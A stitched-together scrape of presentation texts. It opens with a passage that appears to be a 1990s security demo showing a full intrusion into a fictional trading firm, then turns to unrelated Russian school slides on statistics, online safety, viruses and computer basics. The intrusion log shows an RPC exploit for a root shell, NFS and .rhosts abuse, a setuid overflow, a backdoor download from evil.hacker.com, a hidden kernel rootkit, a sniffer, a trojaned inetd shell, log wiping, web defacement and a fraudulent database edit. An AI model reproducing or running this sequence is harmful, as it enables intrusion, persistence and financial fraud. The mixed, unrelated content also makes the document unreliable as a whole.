        Bergman, Bret (ET2324) bbergman@ACMETRADE.COM
        (678)443-6100 (FAX) (678) 443-6208
    Billing Contact:
        Fields, Hope  (ET3427) hfields@ACMETRADE.COM
        (678)443-6101 (FAX) (678) 443-6401

    Record Last updated on 27-Jul-99.
    Record created on 06-Mar-98.
    Database last updated on 4-Oct-99 09:09:01 EDT

    Domain servers in listed order:

    dns.acmetrade.com	208.21.2.67
    www.acmetrade.com	208.21.2.10
    www1.acmetrade.com	208.21.2.12
    www2.acmetrade.com	208.21.2.103
http://www.networksolutions.com/cgi-bin/whois/whois/?STRING=acmetrade.com
hacker:/export/home/hacker>
./rpcscan dns.acmetrade.com cmsd
Scanning dns.acmetrade.com for program 100068
cmsd is on port 33505
hacker:/export/home/hacker>

hacker:/export/home/hacker>
id
uid=1002(hacker) gid=10(staff)
hacker:/export/home/hacker>
uname -a
SunOS evil.hacker.com 5.6 Generic_105181-05 sun4u sparc SUNW,UltraSPARC-IIi-Engine
hacker:/export/home/hacker>
./cmsd dns.acmetrade.com
using source port 53
rtable_create worked
Exploit successful.  Portshell created on port 33505
hacker:/export/home/hacker>
Trying 208.21.2.67...
Connected to dns.acmetrade.com.
Escape character is '^]'.
#
id
uid=0(root) gid=0(root)
#
uname -a
SunOS dns 5.5.1 Generic_103640-24 sun4m sparc SUNW,SPARCstation-5
#
telnet dns.acmetrade.com 33505
#
#
nslookup
Default Server: dns.acmetrade.com
Address: 208.21.2.67
>
>
ls acmetrade.com
Received 15 records.
^D
[dns.acmetrade.com]
www.acmetrade.com			208.21.2.10
www1.acmetrade.com		208.21.2.12
www2.acmetrade.com		208.21.2.103
margin.acmetrade.com		208.21.4.10
marketorder.acmetrade.com		208.21.2.62
deriv.acmetrade.com		208.21.2.25
deriv1.acmetrade.com		208.21.2.13
bond.acmetrade.com		208.21.2.33
ibd.acmetrade.com			208.21.2.27
fideriv.acmetrade.com		208.21.4.42
backoffice.acmetrade.com		208.21.4.45
wiley.acmetrade.com		208.21.2.29
bugs.acmetrade.com		208.21.2.89
fw.acmetrade.com			208.21.2.94
fw1.acmetrade.com			208.21.2.21
#
#
#
#
rpcinfo -p www.acmetrade.com | grep mountd
100005    1   udp    643  mountd
100005    1   tcp    647  mountd
showmount -e www.acmetrade.com
/usr/local	server2, server3, server4
/export/home 	sunspot
rpcinfo -p www1.acmetrade.com | grep mountd
100005    1   udp    643  mountd
100005    1   tcp    647  mountd
showmount -e www1.acmetrade.com
/data1		server2
/a		engineering
/b		engineering
/c		engineering
/export/home	(everyone)
export list for www.acmetrade.com:
#
nfs
nfsshell.c
/data1		server2
/a		engineering
/b		engineering
/c		engineering
/export/home	(everyone)
Export list for www1.acmetrade.com:
nfs>
mount /export/home
Mount www1.acmetrade.com[208.21.2.12]:/export/home
nfs>
ls
bill
bob
celeste
chuck
dan
dave
jenn
zack
nfs>
ls –l bob
drwxr-xr-x  2      201     1      1024  May  4  1999  bob
 - protocol: UDP/IP
 - transfer size: 8192 bytes
nfs>
nfs>
nfs>
cd bob
uid 201
gid 1
#
nfsshell
nfs>
host www1.acmetrade.com
Open www1.acmetrade.com[208.21.1.12] (mountd) using UDP/IP
nfs>
export
nfs>
status
User id      : 201
Group id     : 1
Remote host  : ‘www1.acmetrade.com’
Mount path   : ‘/export/home’
Transfer size: 8192
nfs>
!sh
$
echo "+ +" > .rhosts
$
exit
nfs>
nfs>
put .rhosts
cat .rhosts
+ +
nfs>
exit
#
rlogin -l bob www1.acmetrade.com
Last login: Wed Mar 3 10:46:52 from somebox.internal.acmetrade.com
www1%
whoami
bob
www1%
pwd
/export/home/bob
www1%
uname -a
SunOS www1.acmetrade.com 5.5.1 Generic_103640-24 sun4d SUNW,SPARCserver-1000
www1%
cat .rhosts
+ +
www1%
www1%
ls -la /usr/bin/eject
-r-sr-xr-x   1 root     bin        13144 Jul 15  1997 /usr/bin/eject*
www1%
gcc -o eject_overflow eject_overflow.c
www1%
./eject_overflow
Jumping to address 0xeffff630 B[364] E[400] SO[400]
#
whoami
root
#
ftp evil.hacker.com
Connected to evil.hacker.com.
Name (evil.hacker.com:root):
331 Password required for hacker.
Password:
230 User hacker logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
hacker
eye0wnu
220 evil.hacker.com FTP server (HackerOS) ready.
ftp>
cd solaris_backdoors
250 CWD command successful.
ftp>
get solaris_backdoor.tar.gz
200 PORT command successful.
150 Binary data connection for out 3.1.33.7,1152).
226 Transfer complete.
152323 bytes sent in 31.942233 secs (4.7Kbytes/sec)
ftp>
quit
tar -xf module_backdoor.tar
cd /tmp/my_tools
gunzip module_backdoor.tar.gz
#
#
#
#
cd /tmp/my_tools/module_backdoor
#
./configure
Enter directories and filenames to hide from ls, find, du:
#
make
gcc -c backdoor.c
gcc -o installer installer.c
ld –o backdoor –r backdoor.o
#
Makefile
backdoor
backdoor.c
backdoor.o
config.h
configure
installer
installer.c
ls
#
#
modload backdoor
./installer -d /usr/local/share/...
Adding directory...
Fixing last modified time...
Fixing last accessed time...
 ... backdoor
Enter class C network to hide from netstat:
Enter process names to hide from ps and lsof:
creating config.h...
3.1.33.0
sniffer
#
ls -la /usr/local/share/...
...: No such file or directory
#
#
#
#
#
#
./installer backdoor /usr/local/share/.../backdoor
Installing file...
Fixing last modified time...
Fixing last accessed time...
echo "/usr/sbin/modload /usr/local/share/.../backdoor" >>/etc/init.d/utmpd
#
cd ..
rm -rf module_backdoor
ls
inetd_backdoor/
logedit
sniffer
./installer sniffer /usr/local/share/.../sniffer
Installing file...
Fixing last modified time...
Fixing last accessed time...
ls /usr/local/share/.../sniffer
/usr/local/share/.../sniffer: No such file or directory
#
cd /usr/local/share/...
#
./sniffer > out &
#
ps -aef | grep sniffer
#
#
netstat
TCP
   Local Address        Remote Address    Swind Send-Q Rwind Recv-Q  State
-------------------- -------------------- ----- ------ ----- ------ -------
208.21.2.10.1023   208.21.0.19.2049    8760      0  8760    648 ESTABLISHED
208.21.2.10.1022   208.21.0.19.2049    8760      0  8760      0 ESTABLISHED
208.21.2.10.2049   208.21.0.13.1003    8760      0  8760      0 ESTABLISHED
#
cd /tmp/my_tools
#
cd inetd_backdoor
#
ls
config.h
configure
inetd.c
installer.c
#
./configure
Enter port for hidden shell:
#
make
gcc -s  -DSYSV=4 -D__svr4__ -DSOLARIS  -o inetd inetd.c -lnsl -lsocket -lresolv
gcc -o installer installer.c
#
installer inetd /usr/sbin/inetd
Installing file...
Fixing last modified time...
Fixing last accessed time...
creating config.h...
creating Makefile...
31337
Trying 208.21.2.12...
Escape character is '^]'.
telnet www1.acmetrade.com 31337
Granting rootshell...
#
hostname
www1
#
whoami
root
#
#
ps –aef | grep inetd
root   179     1  0   May 10 ?        1:26 /usr/sbin/inetd -s
#
#
kill –9 179
#
exit
/usr/sbin/inetd –s &
Connection closed by foreign host.
hacker:/export/home/hacker>
hacker:/export/home/hacker>
ftp www1.acmetrade.com
Connected to www1
220 www1.acmetrade.com FTP service (Version 2.5).
Name:
root
331 Password required for root.
Password:
*******
230 User root logged in.
Remote system type is Unix.
 ftp>
put backdoor.html securelogin.html
200 PORT command successful.
150 Opening BINARY mode data connection for index.html
226 Transfer complete.
ftp>
quit
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 10
-rwxr-xr-x   9 root     other       1024 Aug 17 17:07 .
-rwxr-xr-x   9 root     other       1024 Aug 17 17:07 ..
-rwxr-xr-x   2 www      www         2034 Aug 17 17:07 index.html
-rwxr-xr-x   2 www      www         1244 Aug 17 17:07 securelogin.html
-rwxr-xr-x   2 www      www         1024 Aug 17 17:07 image2.gif
-rwxr-x--x   6 www      www          877 Aug 17 17:07 title.gif
-rwxr-xr-x   2 www      www         1314 Aug 17 17:07 frontpage.jpg
226 Transfer complete. bytes received in 0.82 seconds (0.76 Kbytes/sec)
ftp>
dir
ftp> cd /usr/local/httpd
   program vers proto   port  service
    100000    4   tcp    111  rpcbind
    100000    3   tcp    111  rpcbind
    100000    2   tcp    111  rpcbind
    100000    4   udp    111  rpcbind
    100000    3   udp    111  rpcbind
    100000    2   udp    111  rpcbind
    100004    2   udp    753  ypserv
    100004    1   udp    753  ypserv
    100004    1   tcp    754  ypserv
    100004    2   tcp  32771  ypserv
1073741824    2   udp  32772
    100007    3   udp  32779  ypbind
    100007    2   udp  32779  ypbind
    100007    1   udp  32779  ypbind
    100007    3   tcp  32772  ypbind
    100007    2   tcp  32772  ypbind
    100007    1   tcp  32772  ypbind
    100011    1   udp  32781  rquotad
    100068    2   udp  32783
    100068    3   udp  32783
    100068    4   udp  32783
    100068    5   udp  32783
    100024    1   udp  32784  status
    100024    1   tcp  32777  status
    100021    1   udp   4045  nlockmgr
    100021    2   udp   4045  nlockmgr
#
rpcinfo -p  backoffice.acmetrade.com

    100021    3   udp   4045  nlockmgr
    100021    4   udp   4045  nlockmgr
    100021    1   tcp   4045  nlockmgr
    100021    2   tcp   4045  nlockmgr
    100021    3   tcp   4045  nlockmgr
    100021    4   tcp   4045  nlockmgr
    100005    1   udp  33184  mountd
    100005    2   udp  33184  mountd
    100005    3   udp  33184  mountd
    100005    1   tcp  32787  mountd
    100005    2   tcp  32787  mountd
    100005    3   tcp  32787  mountd
    100083    1   tcp  32773
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100227    2   udp   2049  nfs_acl
    100227    3   udp   2049  nfs_acl
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100227    2   tcp   2049  nfs_acl
    100227    3   tcp   2049  nfs_acl
#
#
grep ttdbserverd /etc/inetd.conf
100083/1	tli	rpc/tcp wait root /usr/dt/bin/rpc.ttdbserverd rpc.ttdbserverd
rpcinfo -p backoffice.acmetrade.com | grep 100083
100083    1   tcp  32773
#
cd /tmp/mytools/warez
Please wait for your root shell.
#
./tt backoffice.acmetrade.com
hostname
backoffice
whoami
root
#
find / -type f -name .rhosts -print
/.rhosts
/export/home/chuck/.rhosts
/export/home/bill/.rhosts
/export/home/larry/.rhosts
#
cat /.rhosts
fideriv.acmetrade   	root
ibd.acmetrade    		root
bugs.acmetrade		root
#
w
10:20pm  up 13:15,  1 user,  load average: 0.01, 0.02, 0.03
User     tty           login@  idle   JCPU   PCPU  what
root     console       9:27am  147:52 14:41  14:14 /sbin/sh
root     pts/5         9:24pm                      /sbin/sh
#
#
#
/tmp/mytools/logedit root pts/5
#
w
10:20pm  up 13:15,  1 user,  load average: 0.01, 0.02, 0.03
User     tty           login@  idle   JCPU   PCPU  what
root     console       9:27am  147:52 14:41  14:14 /sbin/sh
#
sqlplus oracle/oracle
SQL>
describe customers
Name		Null?	Type
------------------  --------  -----------
LNAME		NOT NULL 	VARCHAR2(20)
FNAME		NOT NULL 	VARCHAR2(15)
ADDR1		NOT NULL 	VARCHAR2(30)
ZIP		NOT NULL 	NUMBER(5)
PHONE		NOT NULL 	CHAR(12)
ACCOUNT_NUM	NOT NULL 	NUMBER(12)
BALANCE		NOT NULL 	NUMBER(12)
MARGIN_LIMIT	NOT NULL 	NUMBER(12)
ACCT_OPEN		NOT NULL 	DATE
SQL>
select  LNAME, FNAME, ACCOUNT_NUM, MARGIN_LIMIT from customers where LNAME = 'Gerulski';
LNAME 	     	    FNAME		ACCOUNT_NUM    MARGIN_LIMIT
--------------------    -------------  	-----------    ------------
Gerulski     	    David		5820981        50000.00
SQL>
update customers set MARGIN_LIMIT = 500000.00 where LNAME = 'Gerulski';
SQL>
select LNAME, MARGIN_LIMIT from customers where LNAME = 'Gerulski';
LNAME		        MARGIN_LIMIT
------------------- ------------
Gerulski	        500000.00
SQL>
exit
Anatomy of the Attack

AcmeTrade’s Network
UNIX
Firewall
DNS Server
Web Server
Filtering Router
NT
Clients & Workstations
Network

UNIX
NT
UNIX

IT Infrastructure
Firewall
E-Mail Server
Web Server
Router
Servers
Clients & Workstations
Network
What is Vulnerable?

Applications
Router
E-Commerce
Web Server
E-Mail Server

Firewall
SAP
Peoplesoft

Web Browsers
What is Vulnerable?

Databases
Firewall
Router
Oracle

Microsoft
SQL Server
Sybase
What is Vulnerable?

Firewall
AIX
Solaris
Router
Windows NT
Network
Operating Systems

HP-UX

Windows 95 & NT
What is Vulnerable?

Firewall
E-Mail Server
Web Server
Router
Servers
Networks

TCP/IP
Netware
What is Vulnerable?


title: Скачать презентацию или конспект Взаимодействие с различными категориями пользователей статистической информации

extracted_text:
Федеральная служба государственной статистики

Взаимодействие с различными категориями пользователей статистической информации

И.Ульянов, заместитель руководителя Росстата

ПЛАНИРОВАНИЕ СТАТИСТИЧЕСКОЙ ИНФОРМАЦИИ
   До 2004г.
Ежегодно формировалась Федеральная программа статис-тических работ, которая после согласования с заинтересованными федеральными органами государственной власти, утверждалась Правительством Российской Федерации.
В настоящее время
В соответствии с новым Положением о Росстате формирование Федеральной программы статистических работ не предусмотрено. Состав информации и сроки ее предоставления регламентируются только внутренними документами Росстата - Перечнем (планом) статистических работ и Производственным планом работ Федеральной службы государственной статистики.
Новым законом "Об официальном статистическом учете и системе государственной статистики" предусматривается утверждение Федерального плана статистических работ Правительством Российской Федерации.

ВИДЫ ИНФОРМАЦИОННЫХ УСЛУГ, ПРЕДОСТАВЛЯЕМЫХ ОРГАНАМИ ГОСУДАРСТВЕННОЙ СТАТИСТИКИ
предоставление официальной статистической информации (сводная статистическая информация, представляемая в рамках Перечня (плана) статисти-ческих работ)
предоставление данных бухгалтерской отчетности (пообъектные данные, свыше 150 млн. показателей; более 406 тысяч - сводных показателей в целом по России )
информационно-статистические услуги, производимые по заказам пользователя (предоставляются на платной основе – объем оказанных платных услуг в 2005г. составил 495,3 млн.рублей)
ПРЕДОСТАВЛЕНИЕ СТАТИСТИЧЕСКОЙ ИНФОРМАЦИИ ПОЛЬЗОВАТЕЛЯМ
 Бесплатно
органам государственной власти, Банку России, государст-венным внебюджетным фондам -  статистические данные и официальные статистические публикации Росстата, предусмотренные Перечнем (планом) статистических работ Росстата.
Пользователям сети Интернет – важнейшие показатели через Интернет-сайт Росстата в режиме свободного доступа после ее официального опубликования.

 За плату
Остальным пользователям - за плату, не возмещающую в полном размере расходы на ее создание, в стоимость этой информации включаются затраты  на ее подготовку и предоставление пользователям , без учета затрат Федерального бюджета на создание государственных информационных ресурсов.
Подведомственные организации, осуществляющие коммерческую реализацию статистической продукции
 Главный межрегиональный центр обработки и распространения статистической информации Федеральной службы государственной статистики
 Автономная некоммерческая организация информационно-издательский центр "Статистика России"
 Территориальные органы государственной статистики
Категории пользователей статистической информации

 Органы государственной власти
 Учебные и исследовательские организации
 Средства массовой информации
 Международные организации
 Граждане
 Другие категории пользователей
Формы предоставления информации пользователям
Официальные публикации Росстата

Размещение на сайте Росстата в сети Интернет

Предоставление информации по запросам

 - годовые (сборники )
оперативные (срочные    информации, ежемесячные доклады «Социально-экономическое положение России» , бюллетени и др.)


title: Скачать презентацию или конспект Безопасная работа в социальных сетях

extracted_text:
Безопасная работа в социальных сетях
Подготовила: Чешук Ксения
«Презентация подготовлена для конкурса «Интернешка»
 http://interneshka.org/».
 Что такое социальная сеть
 История возникновения
 Разновидности социальных сетей
 Возможности социальных сетей
 Безопасность при работе в социальных сетях

Социальная сеть —
платформа, онлайн-сервис или веб-сайт, предназначенные для построения, отражения и организации социальных взаимоотношений в Интернете.

В уже довольно далеком 1995-ом году американец Рэнди Конрадс создал первую в мире социальную сеть – аналог современных «Одноклассников». Даже название было то же – Classmates. Этот ресурс предназначался для общения с бывшими одноклассниками и сокурсниками. Classmates популярны до сих пор и насчитывают более 50 000 000 участников.
Официальным началом бума социальных сетей принято считать 2003—2004 года, когда были запущены LinkedIn,
MySpace и Facebook.

Профессиональные социальные сети
создаются для общения на профессиональные темы, обмена опытом и информацией, поиска и предложения вакансий, развития деловых связей. Примеры: LinkedIn, Мой Круг, Профессионалы.ру.
Корпоративные социальные сети
решают задачи организации и сопровождения деятельности компании
Сервисы для совместной работы с документами
Геосоциальные сети
позволяют налаживать социальные связи на основании географического положения пользователя. При этом используются различные инструменты геолокации

 Во всех социальных сетях можно размещать данные о себе, причём не только личные данные, но и, к примеру, портфолио при поиске работы.
 В социальной сети можно найти не только бывших одноклассников, но и настоящих единомышленников. Для этого существуют сообщества и группы.

 С помощью всевозможных опросов онлайн, которые в любой социальной сети провести не составляет никакого труда, можно проводить настоящие маркетинговые исследования, с помощью которых многие производственные компании и торговые марки смогут развиваться в нужном направлении.
Здесь находится огромное количество информации, причём, наиболее ценно то, что эта информация не скачана на каком-то незнакомом сайте, а добавлена другим пользователем, который проверил её на себе или родных и близких, ведь советы на подобных ресурсах, чаще всего, даются из личного опыта. А, значит, пользоваться ими можно без всякой опаски.
В социальных сетях возможно многое. Здесь можно узнать, как правильно приготовить настоящий хачапури или греческий салат, где можно купить щенка афганской борзой и чем вылечить бронхит?
В последние годы в России тема безопасности подростков в сети Интернет стала активно обсуждаться, что дало возможность выявить некоторые характерные угрозы, что, практически, в полной мере характерно и для социальных сетей, как объективной реальности Сети.

К числу таких угроз относят:
 сексуальная эксплуатацию несовершеннолетних;
 склонение несовершеннолетних к сексуальным действиям (груминг);
 контент с признаками разжигания расовой, национальной, религиозной вражды, пропаганды тоталитарных сект;
 пропаганда и публичное оправдание терроризма;
 киберунижение и кибертравля;
 сцены физического насилия над несовершеннолетними;
 пропаганда и распространение наркотиков;
 интернет-мошенничество и программно-технические угрозы.
Основным источником заражения компьютера является Интернет. Вирус может попасть на компьютер при скачивании и открытии файла, при открытии вложений в почте и даже просто при посещении сайта, на котором размещен вредоносный код.
Один из способов защиты - использование безопасных DNS-серверов.
При посещении сайта, он будет сначала проверяться на стороне DNS-сервера, и только потом показываться пользователю. Если сайт заражен или это подставной сайт, то он будет блокироваться.

Спасибо за внимание!


title: Скачать презентацию или конспект Основные устройства компьютера

extracted_text:
01.12.2016
Лекция. Халкечева Л.В.
1
Основные устройства компьютера
01.12.2016
Лекция. Халкечева Л.В.
2
Введение
Предмет  обсуждения –ЭВМ.
Тема: Основные устройства ЭВМ.
01.12.2016
Лекция. Халкечева Л.В.
3
Список изучаемых разделов:

1.Микропроцессоры.        7.Клавиатура.
2.Дисплей.                          8.Мышь.
3.Принтер.                          9.Начало работы.
4.Память.                           10.Форматирование.
5.Дискеты.                         11.Файлы.
6.Жесткий диск.
01.12.2016
Лекция. Халкечева Л.В.
4
Обзор
Компьютер состоит из:
1.Системного блока

2.Монитора

3.Клавиатуры и мыши
01.12.2016
Лекция. Халкечева Л.В.
5
Системный блок.
Процессор(обеспечивает выполнение арифметических и логических операций);
Оперативная память;
Блок питания; дисководы; различные электронные схемы;
Винчестер.
01.12.2016
Лекция. Халкечева Л.В.
6
Монитор или  дисплей.
 Дисплеем называется устройство визуального отображения информации
01.12.2016
Лекция. Халкечева Л.В.
7
Память (ПЗУ и ОЗУ).
В памяти компьютера хранятся  программы и обрабатываемые данные. Функциональная память компьютера делится на постоянную и оперативную.
Микросхемы постоянной памяти устанавливаются на плате системного модуля, то есть на материнской плате. Данные записываются при изготовлении компьютера и хранятся в них неизменными.
Оперативная память  позволяет не только считывать хранящиеся в ней данные, но и записывать их. При выключении компьютера эти данные теряются.
01.12.2016
Лекция. Халкечева Л.В.
8
Дискеты.  Жесткий диск.
Дискета или Floppy Disk – это диск из пластика в твёрдом футляре со специальным магнитным покрытием для записи информации порядка нескольких мегабайт.
Жесткий диск используется в компьютере для хранения значительно большей информации( сотни мегабайт и гигабайты информации).
01.12.2016
Лекция. Халкечева Л.В.
9
Форматирование дисков.
Для того , чтобы операционная система могла находить информацию на диске он должен быть отформатирован.
Форматировать нужно каждую новую дискету.
Действия: 1. Войти в «Мой компьютер»
                               2. Вставить дискету в  дисковод.
                               3. Нажать правой кнопкой мыши на картинку с         изображением дискеты и выбрать форматирование.

01.12.2016
Лекция. Халкечева Л.В.
10
Файлы.
Файл – это именованная область на диске ( любая информация ).
Файлы объединяются в подкаталоги и каталоги.
Действия: 1. Войдите в меню «Вставка» 2.выберете « рисунок» и далее «картинки...»

01.12.2016
Лекция. Халкечева Л.В.
11
Выводы
Просмотрите ещё раз рассмотренные вопросы.

Повторите практические работы


title: Скачать презентацию или конспект Игра-тренажер «Охотник»

extracted_text:
Игра-тренажер
«Охотник»
Муниципальное образовательное учреждение
Венгеровская средняя общеобразовательная школа №2

Венгерово – 2009
Работу выполнила: ученица 10б класса
 Вахрушева Анастасия
Руководитель: Т. П. Нохрина,
учитель русского языка
и литературы
Создание электронного тренажера
Цель:
Создать программу для проверки знаний по русскому языку для учащихся
Задачи:
Изучить и проанализировать научную литературу, учебные пособия по данной теме;
Провести практическую часть исследования;
Создание программы
Тестирование программы.
Методы исследования:
Анализ научной литературы;
Анализ учебников и учебных пособий;
Использование программного обеспечения.
Тренажер по русскому языку
Тренажер предназначен для проверки знаний по русскому языку.
Тренажер состоит из 2-х частей:

Редактор
Данная программа предназначена для составления и редактирования проверочных файлов к игре «Охотник».

В первой графе пишется слово, которое вы хотите задать проверяемому

Во второй графе букву, которую вы хотите вырезать из слова

Показывает то, что получилось

Указывает на количество слов, заданными вами
Максимальное количество слов -40
Заполнив слова в первый столбик и буквы для вырезки во второй, выполните команды Правка> Проверить или F5
После чего в графе Результат вы получите слово без вырезанной буквы, а в графе Кол-во слов появиться то число слов, которое вы ввели.
После завершения необходимо сохранить работу, выполнив Файл > Сохранить, в появившемся окне напишем название файла (Например: приставки –пре и –при.vat)

Игра-тренажер
«Охотник»
Чтобы открыть файл необходимо выполнить: Файл>Открыть или F2.  После открытия файла, игра начнется. На всю игру дается 150 секунд.
С начала игры появляется слово, в которое нужно вставить букву. Для выбора буквы нажмите 1 основной клавиатуры и выберите букву.
После выбора буквы она вылетит с низу экрана. Для выстрела нажмите <пробел>.

Если вы выбрали правильную букву, то  получаете 10 баллов
Если выбрали не ту букву, то у вас отнимают 30 баллов
При попадании выстрелом в букву вам прибавляют 10 баллов, а если же вы промахнулись, то счет остается прежним.

По окончании  игры в появившемся окне необходимо ввести данные и сохранить свою работу, которую в дальнейшем может проверить учитель.

В сохраненном файле будут написаны инициалы проверяемого, дата, время выполнения работы, ошибки в словах и количество баллов.
Заключение
Проведя исследование по данной теме, я пришла к выводу:

В учебном процессе при использовании программного обеспечения создаются комфортные условия быстрой адаптации учащихся к использованию информационных технологий.

Максимально активизируется самостоятельная деятельность учащихся.

Повышает интерес к учению.

        Всё это приводит к саморазвитию личности учащегося.

Спасибо за внимание!
Конец


title: Скачать презентацию или конспект Вирусы и Антивирусные программы

extracted_text:
Компьютерные вирусы и Антивирусные программы
Выполнил: Иванов Кирилл, ученик ГБОУ СОШ им. И. Ф. Самаркина с. Новая Кармала
Презентация подготовлена для конкурса "Интернешка" http://interneshka.org/

Что такое вирус?
Компьютерный вирус -вид вредоносного программного обеспечения, способного создавать копии самого себя и внедряться в код других программ: файлы, документы ,Web-страницы , письма электронной почты и  системные области памяти, загрузочные секторы, а также распространять свои копии по разнообразным каналам связи.
История компьютерных вирусов
Компьютерные вирусы появились и стали обновляться вскоре после того, как появился интернет.
Самый первый вирус был изобретен инженерами Xerox Palo Alto Research Center в далеком 1979г.
В 1986 году вирус под названием «мозг» из Пакистана.
В 1988 год – атаки против компьютеров  Arpanet.
В 1999году вышел вируса Melissa , который нанес большие убытки.
В 2000, появился вирус — «I love you», который при открытии рассылал свои копии адресатам из адресной строки.
Виды компьютерных вирусов
Признаки появления вируса
Замедление работы компьютера
Невозможность загрузки операционной системы
Частые «зависания» и сбои в работе компьютера
Увеличение количества файлов на жестком диске
Изменение размеров файлов
Уменьшение объема свободной оперативной памяти
Разрушение файловой структуры
   Прекращение работы или неправильная работа ранее успешно функционировавших программ
Современная цель создания вирусов
Получение прибыли , благодаря махинациям с данными пользователя (киберпреступления).
Ущерб от вирусов
Защита от вредоносных вирусов
Самым действенной защитой от компьютерных вирусов является использование антивирусных программ.
Что же такое антивирусная программа?
Антивирусная программа (антивирус) — специализированная программа для обнаружения компьютерных вирусов, а также нежелательных программ вообще и восстановления заражённых такими программами файлов, а также для профилактики — предотвращения заражения (изменению) файлов или операционной системы вредоносным кодом.
Спасибо за внимание!


title: Скачать презентацию или конспект Автоматизация решения задач ассистента отдела кредитного анализа фирмы ООО «Элемент Лизинг» на базе MS Access

extracted_text:
Кафедра «Системного анализа и информатики»
Руководитель проекта:    Смирнова Г.Н.
Консультант:			Пегасова Л.В.
Дипломник:                         Полохов И.В.
Дипломный проект на тему
Автоматизация решения задач ассистента отдела кредитного анализа фирмы ООО «Элемент Лизинг» на базе MS Access
2008г.
Министерство образования  и науки Российской Федерации
 ГОСУДАРСТВЕННОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ
ВЫСШЕГО ПРОФЕССИОНАЛЬНОГО ОБРАЗОВАНИЯ
«АКАДЕМИЯ НАРОДНОГО ХОЗЯЙСТВА
ПРИ ПРАВИТЕЛЬСТВЕ РОССИЙСКОЙ ФЕДЕРАЦИИ»
ЭКОНОМИЧЕСКИЙ ФАКУЛЬТЕТ

Организационная структура предприятия

Организационная структура отдела кредитного анализа

Информационная модель
Информационная модель (продолжение)
Информационная модель (продолжение)
Дерево функций.
Даталогическая модель
Фрагмент блок-схемы технологического процесса.
Контрольный пример. Экранные формы.
Изменение трудовых затрат при автоматизации
Изменение стоимостных затрат при автоматизации
Экономическая эффективность.
Экономическая эффективность (продолжение)
Период окупаемости проекта составляет от 7-ми до 10-ти месяцев.
Экономический эффект составляет от 103997 до 145797 рублей.


title: Скачать презентацию или конспект Текст и текстовый редактор

extracted_text:
Текст и текстовый редактор

18.04.2012
Текст является информационным объектом
Уже в глубокой древности люди научились описывать объекты в виде текста.
Конек-горбунок – герой сказки.
По сравнению с настоящим конем он небольшого роста и обладает волшебными свойствами.
Какими свойствами обладает этот текст?
Содержит информацию о Коньке-горбунке
Текст на русском языке
Состоит из 2х предложений
В нем 2 абзаца, 4 строчки, 15 слов, 117 знаков (с пробелами)
В виде текста можно представить информацию о:
Внешнем виде объекта
Назначении объекта
Элементном составе объекта
Отношениях между объектами
Действиях объекта и многом другом
В памяти компьютера текст храниться в виде кодов.
Прочитать такой текст можно только на экране монитора или на распечатке, полученной с помощью принтера
Человек может создавать и редактировать тексты с помощью специальной программы – текстового редактора
А теперь мы будем делать задание в рабочих тетрадях на стр. 82


title: Скачать презентацию или конспект Оперативная память

extracted_text:
Оперативная память
Чайникова Т.Н.
Оглавление
Определение
История
Принцип работы
Объем
Достоинства и недостатки
Диаграмма
Тест

Определение
Оперативная память (RAM – Random Access Memory, ОЗУ — оперативное запоминающее устройство) — устройство для временного хранения информации (данные из ОЗУ стираются при отключении питания ПК).
История

Принцип работы
 Они обрабатывают поток команд процессора как своеобразный конвейер. Главной особенностью этого конвейера является то, что при поступлении в ОЗУ команды чтения, данные на выходе появляются не сразу, а спустя какое-то время (через некоторое количество тактов шины). Это время называется задержкой или таймингами памяти (англ. - SDRAM latency) и чем оно короче, тем оперативная память компьютера продуктивнее. Этот параметр, как и частоту шины, также нужно учитывать при выборе ОЗУ.
Объем
Минимальный объем = 1 Гбайт;
Максимальный объем = 8 Гбайт.
Достоинства и недостатки


title: Скачать презентацию или конспект Устройство компьютера

extracted_text:
Устройство компьютера
Знакомство с компьютером
Компьютер -
- электронное устройство, созданное человеком для обработки, хранения и передачи информации, управляемое программами
КОМПЬЮТЕР СОСТОИТ ИЗ ЧАСТЕЙ (УСТРОЙСТВ), КАЖДАЯ ИЗ КОТОРЫХ ВЫПОЛНЯЕТ СВОЁ ДЕЙСТВИЕ
– «мозг» компьютера. Он выполняет обработку закодированной информации (данных), которая  находиться в памяти.
Процессор
Память компьютера бывает внутренней …
… которая хранит информацию во время работы ПК…
… и внешней…
… на которой информация храниться после выключения ПК
Устройства ввода информации
Устройства вывода (отображения) информации
Программы и обрабатываемые компьютером данные хранятся в его памяти.
 Данные – закодированная в виде нулей и единиц информация.
Все программы вместе взятые составляют программное обеспечение компьютера.
 Программы для компьютера пишет (создаёт) человек.


title: Скачать презентацию или конспект Информационная культура как средство повышения качества современного урока

extracted_text:
Информационная культура как средство повышения качества современного урокаразработана учителем математики ГОУ СОШ №949 Павловой Ириной Владимировной
ИНФОРМАЦИОННАЯ КУЛЬТУРА
Критерии информационной культуры личности:
умение адекватно формулировать свою потребность в информации
эффективно осуществлять поиск нужной информации во всей совокупности информационных ресурсов
перерабатывать информацию и создавать качественно новую
адекватно воспринимать, отбирать и оценивать информацию
готовность к различным формам коммуникации
умение получать релевантную информацию на иностранных языках
компетентность в использовании информационно-коммуникационных технологий
знание правовых норм, регламентирующих поиск информации и использование интеллектуальной собственности
Использование информационных технологий на уроке:
изучение нового материала
формирование умений
закрепление знаний
организация проверки знаний и умений
выполнение самостоятельной работы учащимися
возможность отказа от классно-урочной системы

ВЫПУСКНИК
гибко адаптироваться в меняющихся жизненных ситуациях, самостоятельно приобретая необходимые знания
грамотно работать с информацией
самостоятельно критически мыслить, четко осознавать, где и каким образом приобретаемые ими знания могут быть применены в окружающей их действительности
быть способными генерировать новые идеи, творчески мыслить
быть коммуникабельными, контактными в различных социальных группах, уметь работать сообща в различных областях
самостоятельно работать над развитием собственной нравственности, интеллекта, культурного уровня
	Информационная культура в образовании – это образование учащихся в школе, направленное на воспитание каждого ученика развитой самостоятельной личностью, способного осознать и освоить информационную карту мира.
Условия и факторы
природные задатки человека, определяющие возможности развития его личностных способностей и черт характера
особенности семьи и её отношение к ребёнку
социальная среда, в которой живёт и развивается человек
образовательное учреждение, в котором получает образование человек
Спасибо за внимание!


title: Скачать презентацию или конспект Программа «Компьютер для учителя»

extracted_text:
Программа «Компьютер для учителя»Петербургский филиал ОАО «СЗТ»

Служба маркетинга
Подготовил: специалист 1 категории
Ю.А. Яблокова
2
